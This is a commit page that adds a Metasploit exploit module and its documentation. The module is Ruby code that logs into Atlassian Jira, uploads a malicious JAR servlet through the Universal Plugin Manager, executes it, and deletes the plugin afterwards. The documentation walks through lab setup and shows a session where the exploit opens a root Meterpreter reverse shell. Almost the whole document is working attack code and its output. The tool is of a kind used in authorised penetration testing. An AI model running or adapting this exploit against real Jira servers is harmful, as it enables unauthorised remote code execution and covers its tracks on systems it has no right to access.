update 9631 to a current branch
Shelby Pace
commit
ac8932c144
|
|
@ -0,0 +1,62 @@
|
|||
## Description
|
||||
|
||||
This module uses a POST request against the Atlassian Jira Universal Plugin Manager (UPM) to upload a malicious Java servlet in the form of a JAR archive. Once uploaded the module executes the payload with a GET request and then cleans up after itself by deleting the plugin. Successful exploitation is dependent on valid credentials to an account that has access to the UPM (typically the admin account). The module includes a check function that will validate user supplied credentials and access to the UPM.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The version of Atlassian Jira used for testing was 7.8.0 but the module should work for all versions of Jira as the main dependency is the implementation of Atlassian's UPM framework.
|
||||
|
||||
To set up a vulnerable installation:
|
||||
1. Build the Atlassian SDK environment. Instructions can be found below:
|
||||
- Windows:
|
||||
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
|
||||
- Linux/Mac:
|
||||
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
|
||||
2. Create a shell Jira plugin and launch the SDK. Instructions can be found below:
|
||||
- https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
|
||||
3. Validate installation by browsing to localhost:2990/jira/ and logging in with the default credentials admin:admin
|
||||
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install Atlassian SDK/Jira environment.
|
||||
2. Browse to localhost:2990/jira/ to confirm successful deployment.
|
||||
3. Start msfconsole: ```msfconsole -q```
|
||||
4. Do: ```use exploit/multi/http/jira_plugin_upload```
|
||||
5. Do: ```set rhost [IP]```
|
||||
6. Check credentials and UPM access: ```check```
|
||||
7. Do: ```exploit```
|
||||
8. You should get a shell.
|
||||
|
||||
## Scenarios
|
||||
Successful exploitation:
|
||||
```
|
||||
msf > use exploit/multi/http/jira_plugin_upload
|
||||
msf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf exploit(multi/http/jira_plugin_upload) > check
|
||||
|
||||
[*] Server accepted the credentials, user has access to plugin manager!
|
||||
[*] 127.0.0.1:2990 The target appears to be vulnerable.
|
||||
msf exploit(multi/http/jira_plugin_upload) > exploit
|
||||
|
||||
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
|
||||
[*] Started reverse TCP handler on 127.0.0.1:4444
|
||||
[*] Retrieving Session ID and XSRF token...
|
||||
[*] Attempting to upload UlDRthpT
|
||||
[*] Successfully uploaded UlDRthpT
|
||||
[*] Executing UlDRthpT
|
||||
[*] Deleting UlDRthpT
|
||||
[*] Sending stage (53837 bytes) to 127.0.0.1
|
||||
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43208) at 2018-02-25 13:45:43 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > exit
|
||||
[*] Shutting down Meterpreter...
|
||||
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
|
||||
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
|
||||
msf exploit(multi/http/jira_plugin_upload) >
|
||||
```
|
||||
|
|
@ -0,0 +1,233 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',
|
||||
'Description' => %q{
|
||||
This module can be used to execute a payload on Atlassian Jira via
|
||||
the Universal Plugin Manager(UPM). The module requires valid login
|
||||
credentials to an account that has access to the plugin manager.
|
||||
The payload is uploaded as a JAR archive containing a servlet using
|
||||
a POST request against the UPM component. The check command will
|
||||
test the validity of user supplied credentials and test for access
|
||||
to the plugin manager.
|
||||
},
|
||||
'Author' => 'Alexander Gonzalez(dubfr33)',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
|
||||
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
|
||||
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
|
||||
],
|
||||
'Platform' => %w[java],
|
||||
'Targets' =>
|
||||
[
|
||||
['Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 22 2018'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2990),
|
||||
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
|
||||
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
|
||||
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
login_res = query_login
|
||||
if login_res.nil?
|
||||
vprint_error('Unable to access the web application!')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
return CheckCode::Unknown unless login_res.code == 200
|
||||
@session_id = get_sid(login_res)
|
||||
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']
|
||||
auth_res = do_auth
|
||||
good_sid = get_sid(auth_res)
|
||||
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
|
||||
res = query_upm(good_cookie)
|
||||
if res.nil?
|
||||
vprint_error('Unable to access the web application!')
|
||||
return CheckCode::Unknown
|
||||
elsif res.code == 200
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
vprint_status('Something went wrong, make sure host is up and options are correct!')
|
||||
vprint_status("HTTP Response Code: #{res.code}")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless access_login?
|
||||
fail_with(Failure::Unknown, 'Unable to access the web application!')
|
||||
end
|
||||
print_status('Retrieving Session ID and XSRF token...')
|
||||
auth_res = do_auth
|
||||
good_sid = get_sid(auth_res)
|
||||
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
|
||||
res = query_for_upm_token(good_cookie)
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
|
||||
end
|
||||
upm_token = res.headers['upm-token']
|
||||
upload_exec(upm_token, good_cookie)
|
||||
end
|
||||
|
||||
# Upload, execute, and remove servlet
|
||||
def upload_exec(upm_token, good_cookie)
|
||||
contents = ''
|
||||
name = Rex::Text.rand_text_alpha(8..12)
|
||||
|
||||
atlassian_plugin_xml = %Q{
|
||||
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
|
||||
<plugin-info>
|
||||
<description></description>
|
||||
<version>1.0</version>
|
||||
<vendor name="" url="" />
|
||||
|
||||
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
|
||||
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>
|
||||
|
||||
</plugin-info>
|
||||
|
||||
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
|
||||
<description>"#{name}"</description>
|
||||
<url-pattern>/metasploit/PayloadServlet</url-pattern>
|
||||
</servlet>
|
||||
|
||||
</atlassian-plugin>
|
||||
}
|
||||
|
||||
# Generates .jar file for upload
|
||||
zip = payload.encoded_jar
|
||||
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
|
||||
|
||||
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
|
||||
zip.add_file('/metasploit/PayloadServlet.class', servlet)
|
||||
|
||||
contents = zip.pack
|
||||
|
||||
boundary = rand_text_numeric(27)
|
||||
|
||||
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
|
||||
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
|
||||
data << contents
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
print_status("Attempting to upload #{name}")
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
|
||||
'vars_get' =>
|
||||
{
|
||||
'token' => "#{upm_token}"
|
||||
},
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Cookie' => good_cookie.to_s
|
||||
}
|
||||
}, 25)
|
||||
|
||||
unless res && res.code == 202
|
||||
print_status("Error uploading #{name}")
|
||||
print_status("HTTP Response Code: #{res.code}")
|
||||
print_status("Server Response: #{res.body}")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Successfully uploaded #{name}")
|
||||
print_status("Executing #{name}")
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
|
||||
'method' => 'GET',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
|
||||
print_status("Deleting #{name}")
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
|
||||
'method' => 'DELETE',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
end
|
||||
|
||||
def access_login?
|
||||
res = query_login
|
||||
if res.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to access the web application!')
|
||||
end
|
||||
return false unless res && res.code == 200
|
||||
@session_id = get_sid(res)
|
||||
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
|
||||
return true
|
||||
end
|
||||
|
||||
# Sends GET request to login page so the HTTP response can be used
|
||||
def query_login
|
||||
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
|
||||
end
|
||||
|
||||
# Queries plugin manager to verify access
|
||||
def query_upm(good_cookie)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
|
||||
'method' => 'GET',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
end
|
||||
|
||||
# Queries API for response containing upm_token
|
||||
def query_for_upm_token(good_cookie)
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
|
||||
'method' => 'GET',
|
||||
'cookie' => good_cookie.to_s
|
||||
})
|
||||
end
|
||||
|
||||
# Authenticates to webapp with user supplied credentials
|
||||
def do_auth
|
||||
send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
|
||||
'vars_post' => {
|
||||
'os_username' => datastore['HttpUsername'],
|
||||
'os_password' => datastore['HttpPassword'],
|
||||
'os_destination' => '',
|
||||
'user_role' => '',
|
||||
'atl_token' => '',
|
||||
'login' => 'Log+In'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Finds SID from HTTP response headers
|
||||
def get_sid(res)
|
||||
if res.nil?
|
||||
return '' if res.blank?
|
||||
end
|
||||
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue